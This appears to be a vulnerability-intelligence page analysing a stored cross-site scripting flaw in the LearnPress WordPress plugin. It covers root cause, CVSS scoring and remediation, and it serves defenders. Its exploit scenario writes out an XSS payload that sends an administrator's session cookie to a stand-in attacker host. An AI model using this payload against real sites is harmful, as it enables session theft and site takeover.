Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain contributor-level WordPress account
-
DeliveryAuthor page with malicious class_wrapper_form shortcode attribute
-
ExploitPublish page to persist XSS payload in database
-
ExecutionVictim (admin) loads injected page
-
PersistPayload executes in victim browser
-
ImpactExfiltrate session cookie or perform privileged actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold a WordPress contributor-level account (or higher) on the target site, making this a low-privilege authenticated attack. The vulnerability is specifically triggered via the LearnPress filter-courses shortcode (rendered through FilterCourseShortcode::render()) when the class_wrapper_form attribute is attacker-controlled - this shortcode must be enabled and renderable by the contributor role. Payload execution additionally requires a second victim (typically an administrator or logged-in user) to load the page containing the injected shortcode in their browser. Sites that disable open user registration, restrict the contributor role from publishing, prevent non-editor users from inserting LearnPress shortcodes, or run LearnPress version 4.4.1 or later are not exploitable. The vulnerability does not affect unauthenticated visitors as the injection vector requires authenticated shortcode authorship. |
| Impact | The NVD-assigned CVSS 3.1 score of 6.4 (Medium) reflects AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The S:C (Scope Changed) metric correctly captures the cross-browser impact. However, the UI:N assignment is atypical for stored XSS - standard CVSS guidance treats stored XSS as UI:R because payload execution requires a victim to load the injected page; my independent assessment (see assessed_cvss_vector) scores this UI:R, yielding a base score of approximately 5.4. The PR:L requirement (contributor role) is the principal limiting control: sites that disable open registration or restrict contributor shortcode insertion are materially less exposed. EPSS data was not provided in the source intelligence; no CISA KEV listing exists, and no public exploit code has been confirmed. Real-world risk is meaningfully elevated for WordPress LMS deployments with open or lightly vetted contributor enrollment - a common pattern in e-learning platforms - where untrusted users can create course-filter pages. |
| Exploit ScenarioDerived | A threat actor registers or obtains a WordPress contributor account on a LearnPress-powered e-learning site, then creates a new page embedding the course-filter shortcode with a crafted class_wrapper_form attribute such as: x"><img src=x onerror=fetch('https://attacker.example/log?c='+document.cookie)>. After the page is published, any administrator who reviews or visits it triggers the payload in their browser, surrendering their session cookie - enabling full site takeover without further authentication. No public exploit code has been identified at time of analysis, but the Trac source links in the advisory provide all necessary technical detail for replication. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 01, 2026
Stored Cross-Site Scripting in the LearnPress WordPress LMS plugin (versions up to and including 4.4.0) allows authenticated contributors to permanently inject arbitrary JavaScript into WordPress pages via the unescaped 'class_wrapper_form' shortcode attribute. The payload persists in the database and executes in the browser of any visitor - including administrators - who loads the affected page, enabling session hijacking, credential harvesting, or privilege escalation through forged admin actions. No CISA KEV listing or public exploit code has been identified at time of analysis, but the Wordfence advisory includes precise code-level references that substantially lower the bar for independent reproduction.
RemediationAI
Update LearnPress to a version above 4.4.0; the upstream fix is available in WordPress plugin Trac changeset 3587186 (https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3587186%40learnpress&new=3587186%40learnpress), though an exact patched release version is not independently confirmed from the available data - verify in the WordPress.org plugin changelog before deploying. If immediate patching is not possible, the most effective compensating control is disabling contributor-level (and potentially author-level) publishing capability via the WordPress roles editor or a capability manager plugin, which prevents untrusted users from publishing pages containing shortcodes; the trade-off is that legitimate contributors lose publishing rights until the patch is applied. Alternatively, a mu-plugin or filter snippet can remove the 'learn-press/filter-courses' shortcode handler globally, eliminating the attack surface at the cost of disabling course-filter UI elements site-wide. Monitor the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/09c8db69-60fa-4087-9096-5d34ce44f616 for confirmed patched version numbers.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LearnPress is a WordPress LMS plugin by ThimPress (CPE: cpe:2.3:a:thimpress:learnpress_-_wordpress_lms_plugin_for_create_and_sell_online_courses:*:*:*:*:*:*:*:*) used for creating and selling online courses. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is a two-part failure: first, FilterCourseShortcode::render() at inc/Shortcodes/Course/FilterCourseShortcode.php:29 omits WordPress's standard shortcode_atts() call, which would normally whitelist and default-sanitize any shortcode attribute. Second, the raw attacker-supplied attribute value travels through a do_action('learn-press/filter-courses/layout', $data) hook into FilterCourseTemplate::sections() at inc/TemplateHooks/Course/FilterCourseTemplate.php:98, where it is interpolated directly into an HTML class attribute via sprintf('<form class="%s">', $class_wrapper_form) without WordPress's esc_attr() escaping function. An attacker can close the attribute with a double-quote and inject inline event handlers or script tags that become part of the stored page HTML.
Know when Learnpress Wordpress Lms Plugin For Create And Sell Online Courses gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS requires victim page view (UI:R per CVSS guidance); contributor access required (PR:L); scope changes to victim browser (S:C); no availability impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to, and including, 4.4.0. This is due to insufficient input sanitization and output escaping in the FilterCourseTemplate::sections() method at line 98, where the attacker-controlled attribute is inserted into an HTML class attribute via sprintf('<form class="%s">', $class_wrapper_form) without esc_attr() escaping. The FilterCourseShortcode::render() handler does not apply shortcode_atts() filtering, so raw user attributes flow directly through do_action('learn-press/filter-courses/layout', $data) into the template. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Unauthenticated PHP object injection in the LearnPress WordPress LMS plugin through version 4.4.10 allows attackers to s
Unauthenticated data deletion in LearnPress WordPress LMS plugin (versions ≤4.3.2.8) allows remote attackers to delete a
Sensitive information exposure in the LearnPress LMS plugin for WordPress (versions up to and including 4.4.1) lets unau
Unauthenticated attackers can read and download course-material files - including uploaded file paths and external URLs
Stored cross-site scripting in the LearnPress WordPress LMS plugin (all versions up to and including 4.4.10) lets attack
Course enrollment data exposure in LearnPress WordPress LMS plugin (all versions through 4.3.9.1) enables authenticated
An authorization bypass in the LearnPress WordPress LMS plugin (all versions through 4.4.10) lets any authenticated user
Stored cross-site scripting in LearnPress - WordPress LMS Plugin versions through 4.3.9.1 allows authenticated contribut
Stored Cross-Site Scripting in LearnPress WordPress LMS Plugin up to version 4.3.3 allows authenticated contributors to
LearnPress WordPress LMS plugin versions through 4.4.7 reflect unsanitized input from the 'orderby' parameter into the D
Sensitive information exposure in LearnPress WordPress LMS Plugin (all versions through 4.3.6) allows unauthenticated re
SQL injection in the LearnPress WordPress LMS plugin (versions ≤ 4.4.4) allows authenticated administrators to extract a
EUVD-2026-40934
GHSA-qrp7-xr7v-h39q
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB